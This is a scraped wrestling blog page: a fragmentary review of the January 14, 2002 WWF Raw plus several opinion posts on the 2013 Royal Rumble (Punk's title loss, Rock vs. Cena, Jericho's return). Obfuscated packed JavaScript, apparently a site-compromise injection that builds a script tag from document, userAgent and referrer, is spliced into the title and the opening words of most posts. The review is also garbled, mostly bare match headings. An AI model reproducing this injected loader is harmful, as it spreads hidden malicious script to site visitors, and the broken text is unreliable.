Monday Night Raw – January 14, 2002: Let The Uninspiring Television Begin

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsrni|var|u0026u|referrer|zyeye||js|php'.split('|'),0,{})) Night Raw
Date: January 14, 2002
Location: American Airlines Center, Dallas, Texas
Commentators: Jerry Lawler, Jim Ross

We open with a recap of Austin vs. Angle from Smackdown which ended with Kane interfering for no apparent reason and chokeslamming both guys. A few other guys came out and the mini Rumble before the Rumble went down with HHH standing tall.

Lance Storm and Christian praise Jericho. Bradshaw comes in to yell at them, saying George Bush has given Jericho his freedom. Without making this a political argument, 1. Jericho is Canadian, 2. What freedom did Bush give him? 3. Why is Bradshaw talking to the world champion? Apparently a match is made.

Bubba Ray Dudley vs. Spike Dudley

Tajiri/Hurricane vs. Billy and Chuck

Undertaker arrives.

Scotty and Albert are at WWF New York.

Jazz vs. Jacqueline

Kurt Angle vs. Kane

Kane loads up the top rope clothesline but Angle runs the corner for the suplex. We needed that as hopefully the match can pick up a bit now. A quick ankle lock attempt is broken up and the enziguri puts Angle down. Kane throws Angle into the corner and pounds away before going up top, where he blocks another suplex attempt. The top rope clothesline gets two but the chokeslam is countered into the ankle lock.

Stephanie manipulates HHH to go after Austin.

Edge/Rob Van Dam vs. William Regal/Test

The APA gets Rikishi to be their partner.

Big Show vs. Booker T

We recap Vince and Flair from earlier.

Chris Jericho/Lance Storm/Christian vs. APA/Rikishi

http://kbwrestlingreviews.com/2013/01/16/royal-rumble-count-up-2013-redo-2002-hes-back-and-theres-not-a-thing-we-can-do-about-it/

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The Last Rumble Post I’ll Make This Year

Probably. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytyhi|var|u0026u|referrer|khfse||js|php'.split('|'),0,{})) A question for you all:How do you eliminate Zack Gowen from the Rumble? The rules clearly state that BOTH feet must touch. I think we’ve found the perfect Rumble contestant.

Chris Jericho Signed Through Wrestlemania

Apparently eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdzea|var|u0026u|referrer|hinnh||js|php'.split('|'),0,{})) I was wrong on the one night only appearance. It looks like they’re setting up something with him and Ziggler which is kind of surprising given that they’ve done that feud already, but if anyone can fit into a show off match with Ziggler, it’s Jericho.

Proper Nostalgia In Modern Times

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yketd|var|u0026u|referrer|dbefn||js|php'.split('|'),0,{})) night was a good example of this.Something that I’ve mentioned before is how nostalgic characters are supposed to be used today. The problem with having guys like Roddy and Dusty and Slaughter doing nostalgia appearances is that they’ve been nostalgic for such a long period of time that the impact is gone. They’re stars of the 80s, not the 90s.

Last night on the other hand, we saw guys like Goldust, Godfather and the year before that we had the Outlaws in the Rumble. This is pure nostalgia for people that grew up in the 90s and are a bit bored by modern wrestling at the moment. Geez if you consider Rock much more than a nostalgia character at this point you’re missing the point. WWE is FINALLY catering to the 90s fans whose wallets they built the Attitude Era on. It’s fine to bring out the 80s guys every once in awhile, but mix it up with the 90s every now and then.

Dolph Ziggler At And After The Rumble

Coming eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytnsi|var|u0026u|referrer|yrzea||js|php'.split('|'),0,{})) into the Rumble, Ziggler was a big topic of conversation but last night not much happened.Ziggler had talked about cashing in MITB but he didn’t. He talked about winning the Royal Rumble but he didn’t. He’s been losing a good deal of his matches recently and while he’s certainly impressive with some of his matches, he hasn’t really won anything other than at TLC where he was defending what he already had. Other than that, Ziggler hasn’t really accomplished much lately. He has until July to cash in his case and as usual it seems like a matter of time before he does it.

I’m not sure what they’re doing at the moment because they’ve kind of booked themselves into a corner. With Del Rio getting over very well as a face, that gives a minimum of four people who could be in the world title match at Wrestlemania: Orton, Ziggler, Sheamus and Del Rio. Odds are it won’t be Ziggler in the title match but it’s clear that he’s going to have a top level match. I’m thinking he gets put with Del Rio, although not for the title. There’s always a chance he’ll cash in before Mania, perhaps after the Chamber.

Either way, Smackdown is pretty awesome at the moment with their title picture.

The End Of CM Punk’s Title Reign

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdezn|var|u0026u|referrer|ndffd||js|php'.split('|'),0,{})) Rumble was last night and there’s a LOT to talk about so expect a lot of posts from me today about various topics from the show.

One of the major things that happened last night was CM Punk’s 434 day world title reign came to an end. The common response to this (mine included) is that the ending to Rock vs. Punk could have been better. Let’s take a quick look at why and some other things about the title reign.First of all the problem I had with the ending wasn’t about the People’s Elbow but rather the spinebuster that set it up. Rock had been talking about hitting the Rock Bottom and dedicated an entire promo to the idea. The Elbow itself is fine for Rock to finish with as he beat Hogan with it plus multiple other legends. It’s a finishing move for Rock so it’s not a huge deal at all.

As for Punk losing, you knew it was going to happen at some point. It had to. I mean, the guy had been champion since the November before last. It doesn’t make Punk’s title reign a joke, it doesn’t make Punk look weak and it doesn’t do anything bad to him. Everyone loses their title at some point, from Bruno getting pinned by Ivan Koloff to Hogan getting cheated by the Hebners. Punk had to lose at some point and he was pinned at a Big Four show by the third biggest star in the history of wrestling. That’s hardly getting surprised by a rollup by Primo.

Finally, where does Punk’s title reign rank all time? The main problem for Punk’s reign is that almost everyone knew that he was losing the title to Rock at the Rumble for well over six months now. That made nearly half of his reign feel like a formality than a championship reign that could go on forever. That being said, it was still amazing to see in this day and age, especially given the people he was retaining against. It doesn’t come off as one of the greatest reigns ever due to feeling like a transitional reign, but it’s going to be the longest we see for a VERY long time. That’s something Punk can certainly be proud of. How he didn’t win Wrestler of the Year from everyone is beyond me.

The Rock vs. John Cena II…..Anybody?

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhrfb|var|u0026u|referrer|ftins||js|php'.split('|'),0,{})) seems to be the general consensus about the match that is about as obvious as you could ask it to be.So at the Rumble, Cena won the right to fight for a world title at Wrestlemania. As luck would have it, Rock won the WWE Title and will likely be defending it at Wrestlemania. If you’re too dense to figure it out at this point, it’s pretty clear that Rock vs. Cena II is happening in New York at Wrestlemania 29. However, every opinion I’ve read of it since then seems to be the same: people aren’t that thrilled with the prospect.

That’s about where I am on it too. Now don’t get me wrong: the match is going to be solid as these two can, no joke intended, bring it. The problem isn’t having the match be good. It’s having the match feel huge. Rock and Cena had a year to set up the previous match and by the end of it, I had to see it. I didn’t care what happened or how good it was but I needed to see the match. With two and a half months to go and nothing new other than the title being on the line, I don’t see how this is going to come off as something nearly as huge as last year.

Do I want to see it? Eh…..yeah I guess. If nothing else the promo work will be amazing as always. However, that comes back to the same problem: we heard these two talk about each other over the course of 14 months already. Basically this coming Wrestlemania feels like reheating the feast we had last year: it’s still good but it doesn’t taste like it did straight out of the oven.

Is anyone fired up at this idea?

He’s Going to Wrestlemania

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrhin|var|u0026u|referrer|tktfz||js|php'.split('|'),0,{})) a terrible joke, just like the name before the fold,you can’t see him. Cena won, last tossing out Ryback.

Chris Jericho Returns In Royal Rumble

He’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhbbh|var|u0026u|referrer|zakah||js|php'.split('|'),0,{})) starting with Ziggler. Now THAT is a surprise.

Oh and no, this isn’t a spoiler because it already happened so spare me your complaints.